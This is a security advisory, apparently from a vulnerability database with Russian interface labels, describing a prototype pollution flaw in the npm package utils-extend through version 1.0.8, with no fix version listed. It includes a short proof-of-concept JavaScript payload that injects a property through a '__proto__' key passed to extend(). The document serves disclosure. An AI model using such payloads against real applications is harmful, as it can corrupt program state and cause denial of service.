Описание
utils-extend Prototype Pollution
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.
PoC
async function exploit() {
const utilsextend = require(\"utils-extend\");
const payload = JSON.parse('{\"__proto__\":{\"exploited\":true}}');
const result = await utilsextend.extend({}, payload);
}
await exploit();
Пакеты
Наименование
utils-extend
npm
Затронутые версииВерсия исправления
<= 1.0.8
Отсутствует
Связанные уязвимости
CVSS3: 9.1
nvd
около 1 года назад
The latest version of utils-extend (1.0.8) is vulnerable to Prototype Pollution through the entry function(s) lib.extend. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.